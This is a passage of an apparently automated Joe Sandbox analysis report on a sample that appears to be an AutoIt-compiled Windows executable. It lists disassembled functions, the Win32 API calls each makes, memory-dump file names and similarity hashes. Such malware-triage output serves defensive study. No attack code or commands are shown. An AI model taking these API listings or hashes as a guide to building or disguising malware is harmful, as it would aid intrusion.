                                                                                      • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                                      • String ID:
                                                                                      • API String ID: 1539411459-0
                                                                                      • Opcode ID: cc932a52851128c14d175c4773bace385bd0eb78dad4ea77b6756ae0ad077731
                                                                                      • Instruction ID: 8bbf9fbfc644c2d4c815139e43f15701877c418749b2c0e2ac3a9980c55f3935
                                                                                      • Opcode Fuzzy Hash: cc932a52851128c14d175c4773bace385bd0eb78dad4ea77b6756ae0ad077731
                                                                                      • Instruction Fuzzy Hash: 85F08231145669BBDB229F94EC0DFCE3F1BAF0A311F084101FE11651F187B55662CBA9
                                                                                      Function 005DC82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 005DC84A
                                                                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 005DC85D
                                                                                      • GetCurrentThreadId.KERNEL32 ref: 005DC864
                                                                                      • AttachThreadInput.USER32(00000000), ref: 005DC86B
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                      • String ID:
                                                                                      • API String ID: 2710830443-0
                                                                                      • Opcode ID: 26907d56c2fe49113163e6cae5b67a023623d61fdda33881042e3ab3e714c8f8
                                                                                      • Instruction ID: 39e6aa744506781526568b7acd98d706c704b8701f4cbf9cafaebc4276ff5a37
                                                                                      • Opcode Fuzzy Hash: 26907d56c2fe49113163e6cae5b67a023623d61fdda33881042e3ab3e714c8f8
                                                                                      • Instruction Fuzzy Hash: B1E06D71541628BAEB301BA2DC0DFDB7F1DEF067A1F408022B60D945A0C7B1C582DBE0
                                                                                      Function 005DB0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCurrentThread.KERNEL32 ref: 005DB0D6
                                                                                      • OpenThreadToken.ADVAPI32(00000000,?,?,?,005DAC9D), ref: 005DB0DD
                                                                                      • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,005DAC9D), ref: 005DB0EA
                                                                                      • OpenProcessToken.ADVAPI32(00000000,?,?,?,005DAC9D), ref: 005DB0F1
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentOpenProcessThreadToken
                                                                                      • String ID:
                                                                                      • API String ID: 3974789173-0
                                                                                      • Opcode ID: f549da029ca97b731bbb6a309311d646da5fa0434d38bb6278f90e422b853853
                                                                                      • Instruction ID: c2f880199b0c28581836cd1012b49424033611fff95c538405fd60beb490cbac
                                                                                      • Opcode Fuzzy Hash: f549da029ca97b731bbb6a309311d646da5fa0434d38bb6278f90e422b853853
                                                                                      • Instruction Fuzzy Hash: 60E08632601211DBE7305FB69C0CF873BAAFF55791F128819F641D6050DB348442C760
                                                                                      Function 005BB47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetSysColor.USER32(00000008), ref: 005BB496
                                                                                      • SetTextColor.GDI32(?,000000FF), ref: 005BB4A0
                                                                                      • SetBkMode.GDI32(?,00000001), ref: 005BB4B5
                                                                                      • GetStockObject.GDI32(00000005), ref: 005BB4BD
                                                                                      • GetWindowDC.USER32(?,00000000), ref: 0061DE2B
                                                                                      • GetPixel.GDI32(00000000,00000000,00000000), ref: 0061DE38
                                                                                      • GetPixel.GDI32(00000000,?,00000000), ref: 0061DE51
                                                                                      • GetPixel.GDI32(00000000,00000000,?), ref: 0061DE6A
                                                                                      • GetPixel.GDI32(00000000,?,?), ref: 0061DE8A
                                                                                      • ReleaseDC.USER32(?,00000000), ref: 0061DE95
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                                                      • String ID:
                                                                                      • API String ID: 1946975507-0
                                                                                      • Opcode ID: cde6121c3997fc5685fde1ecdd534a44219bffadcda8befdb5f917cb7c38c235
                                                                                      • Instruction ID: 6e428d6f45d42385a2358786cf3d95b6a7927fc6383b45b60545101b202d24b4
                                                                                      • Opcode Fuzzy Hash: cde6121c3997fc5685fde1ecdd534a44219bffadcda8befdb5f917cb7c38c235
                                                                                      • Instruction Fuzzy Hash: C8E0ED31500640ABEF315B68AC0DBD87F12AB5633AF14D666F669580E1C7B28592DB11
                                                                                      Function 005DB2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • WaitForSingleObject.KERNEL32(?,000000FF), ref: 005DB2DF
                                                                                      • UnloadUserProfile.USERENV(?,?), ref: 005DB2EB
                                                                                      • CloseHandle.KERNEL32(?), ref: 005DB2F4
                                                                                      • CloseHandle.KERNEL32(?), ref: 005DB2FC
                                                                                        • Part of subcall function 005DAB24: GetProcessHeap.KERNEL32(00000000,?,005DA848), ref: 005DAB2B
                                                                                        • Part of subcall function 005DAB24: HeapFree.KERNEL32(00000000), ref: 005DAB32
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                      • String ID:
                                                                                      • API String ID: 146765662-0
                                                                                      • Opcode ID: db884261cc14c27a7fc377c17e3a223e6e1d32b53528ad161f3456ebab41b9ab
                                                                                      • Instruction ID: 57ad590738c4719a34a899ac7049fd570f1e1984a321b3bc636180bcc1956df6
                                                                                      • Opcode Fuzzy Hash: db884261cc14c27a7fc377c17e3a223e6e1d32b53528ad161f3456ebab41b9ab
                                                                                      • Instruction Fuzzy Hash: 70E0E636104405FFDB116F95DC08859FF77FF893613109222F61581571CB329472EB51
                                                                                      Function 0061B29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CapsDesktopDeviceReleaseWindow
                                                                                      • String ID:
                                                                                      • API String ID: 2889604237-0
                                                                                      • Opcode ID: 8cc3e7785dde9c36b5bfc1f579175ef726dadc7740717b68ec1e6c3bca5c3883
                                                                                      • Instruction ID: 5fdd6b60e8c64041f5d6dfee94a45ef68c691a302191efd850131ce4b0f39ea0
                                                                                      • Opcode Fuzzy Hash: 8cc3e7785dde9c36b5bfc1f579175ef726dadc7740717b68ec1e6c3bca5c3883
                                                                                      • Instruction Fuzzy Hash: E0E01AB1100604EFDB105F708C4C66D7FA6FB4C351F119815F85A87210DA7898428B50
                                                                                      Function 0061B2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CapsDesktopDeviceReleaseWindow
                                                                                      • String ID:
                                                                                      • API String ID: 2889604237-0
                                                                                      • Opcode ID: 08d8a4bf650cec9d9d6a7d57b9a4f8682cb81f1a8df1552dd2dc0cd21527aa59
                                                                                      • Instruction ID: 9c92488a4096842b8a3712eea0538be259f62df96d1c5b2da8f546d1679568b8
                                                                                      • Opcode Fuzzy Hash: 08d8a4bf650cec9d9d6a7d57b9a4f8682cb81f1a8df1552dd2dc0cd21527aa59
                                                                                      • Instruction Fuzzy Hash: DFE046B1500600EFDB105F70CC4C66D7FAAFB4C391F119819F95A8B220DB78A8028F10
                                                                                      Function 005DDCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • OleSetContainedObject.OLE32(?,00000001), ref: 005DDEAA
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ContainedObject
                                                                                      • String ID: AutoIt3GUI$Container
                                                                                      • API String ID: 3565006973-3941886329
                                                                                      • Opcode ID: 1881452b1ff5e0aaf4107bb2ff3101c4ad3f0f3d0634d6d4d89b79481c5e2242
                                                                                      • Instruction ID: 3b92cd87ab3ea75cdcd76955a2eb27cea252dfc42f5b2509d3096dd57138e7f8
                                                                                      • Opcode Fuzzy Hash: 1881452b1ff5e0aaf4107bb2ff3101c4ad3f0f3d0634d6d4d89b79481c5e2242
                                                                                      • Instruction Fuzzy Hash: BF9119746006029FDB24DF68C884E6ABBB9FF49710F14856EF94ACB791DB70E845CB60
                                                                                      Function 005E290D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscpy
                                                                                      • String ID: I/a$I/a
                                                                                      • API String ID: 3048848545-1726341455
                                                                                      • Opcode ID: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
                                                                                      • Instruction ID: b475c932348636f8d243d3cc1b95b662a070a251edcbf1f0efe0165d22543047
                                                                                      • Opcode Fuzzy Hash: 88dfdb524e9d45900ed7a20722aa58de949687d2b7979f4fca71de7ff0cb1198
                                                                                      • Instruction Fuzzy Hash: 30410631900256AACF2CEF8AC4419FDBF78FF49710F54505AE8C1A719ADB705E82C760
                                                                                      Function 005BBCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • Sleep.KERNEL32(00000000), ref: 005BBCDA
                                                                                      • GlobalMemoryStatusEx.KERNEL32 ref: 005BBCF3
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: GlobalMemorySleepStatus
                                                                                      • String ID: @
                                                                                      • API String ID: 2783356886-2766056989
                                                                                      • Opcode ID: dc6f8f662682d5d454077bea8b528dd93de11598a8cc33bb73fabb786f6048c5
                                                                                      • Instruction ID: 7d802a1d5eedd3e3bef70d765369b54a20ebcc20dc6c92bb83a79086cd43bc6f
                                                                                      • Opcode Fuzzy Hash: dc6f8f662682d5d454077bea8b528dd93de11598a8cc33bb73fabb786f6048c5
                                                                                      • Instruction Fuzzy Hash: BC512B714087469BE320AF14DC8ABAFBBE8FFD5354F41484DF1C8420A6DB7095A88766
                                                                                      Function 005EC56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A44ED: __fread_nolock.LIBCMT ref: 005A450B
                                                                                      • _wcscmp.LIBCMT ref: 005EC65D
                                                                                      • _wcscmp.LIBCMT ref: 005EC670
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscmp$__fread_nolock
                                                                                      • String ID: FILE
                                                                                      • API String ID: 4029003684-3121273764
                                                                                      • Opcode ID: 6d7945c6da86ede9bfac9a64f13b10030b5973d5fa0a3858993935a1edf79adf
                                                                                      • Instruction ID: 121a152d0f3c369f0f1b577c3110a3609ac3a349ffa07d06ae18a5aca09675ae
                                                                                      • Opcode Fuzzy Hash: 6d7945c6da86ede9bfac9a64f13b10030b5973d5fa0a3858993935a1edf79adf
                                                                                      • Instruction Fuzzy Hash: 3341E672A0025BBADF20ABE48C46FEF7FB9BF89704F004469F641E7181D7B09A058B50
                                                                                      Function 0060A76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00001132,00000000,?), ref: 0060A85A
                                                                                      • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0060A86F
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: '
                                                                                      • API String ID: 3850602802-1997036262
                                                                                      • Opcode ID: c5e23752ccfcc8a801bafbee0f0c2da1fae7509e6bc41f0d614e7f871ffb4814
                                                                                      • Instruction ID: 87da51ebccf72d598080b7f5b561eb1ee8613f77dd6299c89451e56e72083bb1
                                                                                      • Opcode Fuzzy Hash: c5e23752ccfcc8a801bafbee0f0c2da1fae7509e6bc41f0d614e7f871ffb4814
                                                                                      • Instruction Fuzzy Hash: 7341FC79E413099FDB54CFA4C881BDA7BB6FB09340F14406AE905EB391D770A942CFA1
                                                                                      Function 0060975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • DestroyWindow.USER32(?,?,?,?), ref: 0060980E
                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0060984A
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$DestroyMove
                                                                                      • String ID: static
                                                                                      • API String ID: 2139405536-2160076837
                                                                                      • Opcode ID: 3fcbd0e2e9d24adaa5852d034aec2c0b511d26c819ead2d8a7928fd94308392d
                                                                                      • Instruction ID: 9bedd392725214a2c720f0a1bc32563dadde9c80a63c10ff6bfe5001722809df
                                                                                      • Opcode Fuzzy Hash: 3fcbd0e2e9d24adaa5852d034aec2c0b511d26c819ead2d8a7928fd94308392d
                                                                                      • Instruction Fuzzy Hash: BB319E71150604AAEB149F34CC80BFB77AAFF99760F009619F8A9C7291DA31AC81C760
                                                                                      Function 005E5157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005E51C6
                                                                                      • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 005E5201
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InfoItemMenu_memset
                                                                                      • String ID: 0
                                                                                      • API String ID: 2223754486-4108050209
                                                                                      • Opcode ID: f5bf298184517b9975b2e44abee37dd7ce73cd4a2e9d695f4153f9f15898256d
                                                                                      • Instruction ID: 764d2e9a4d37c5bb82d4137e9606846e1da9fbfeaf0d4fe86e0b0364b0e81a85
                                                                                      • Opcode Fuzzy Hash: f5bf298184517b9975b2e44abee37dd7ce73cd4a2e9d695f4153f9f15898256d
                                                                                      • Instruction Fuzzy Hash: B93125396003459BEB2CCF8AC844B9EBFF5BF45358F140019EAC1A61A0F7709944CB11
                                                                                      Function 005F658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __snwprintf
                                                                                      • String ID: , $$AUTOITCALLVARIABLE%d
                                                                                      • API String ID: 2391506597-2584243854
                                                                                      • Opcode ID: 367b0120b1c586a1399e2fdc682e9809712bfd5b258a27e8d3639f889dc8268b
                                                                                      • Instruction ID: 3d403b2c8f5ba425d5edb172ef0aa558f15bfe8828efe7860ba6174b4c82b26b
                                                                                      • Opcode Fuzzy Hash: 367b0120b1c586a1399e2fdc682e9809712bfd5b258a27e8d3639f889dc8268b
                                                                                      • Instruction Fuzzy Hash: 1E216D7160021AAFCF10EFA4D886EAE7FB5BF85740F000459F505EB282DB74EA45CBA5
                                                                                      Function 006093CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0060945C
                                                                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00609467
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend
                                                                                      • String ID: Combobox
                                                                                      • API String ID: 3850602802-2096851135
                                                                                      • Opcode ID: 2d146a4bd3a50e82399f11086d876826eae5928da3d4b80dc6f379c7a64ea969
                                                                                      • Instruction ID: fb5c5068c2f65b24e12191a57ff3eed37c2015aa7e9488d4abd21add7c758f75
                                                                                      • Opcode Fuzzy Hash: 2d146a4bd3a50e82399f11086d876826eae5928da3d4b80dc6f379c7a64ea969
                                                                                      • Instruction Fuzzy Hash: 961193712401096FEF199E54DC80EEB37ABEB893A4F100125F914972D1D6719C528B70
                                                                                      Function 0060DA42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                      • GetActiveWindow.USER32 ref: 0060DA7B
                                                                                      • EnumChildWindows.USER32(?,0060D75F,00000000), ref: 0060DAF5
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
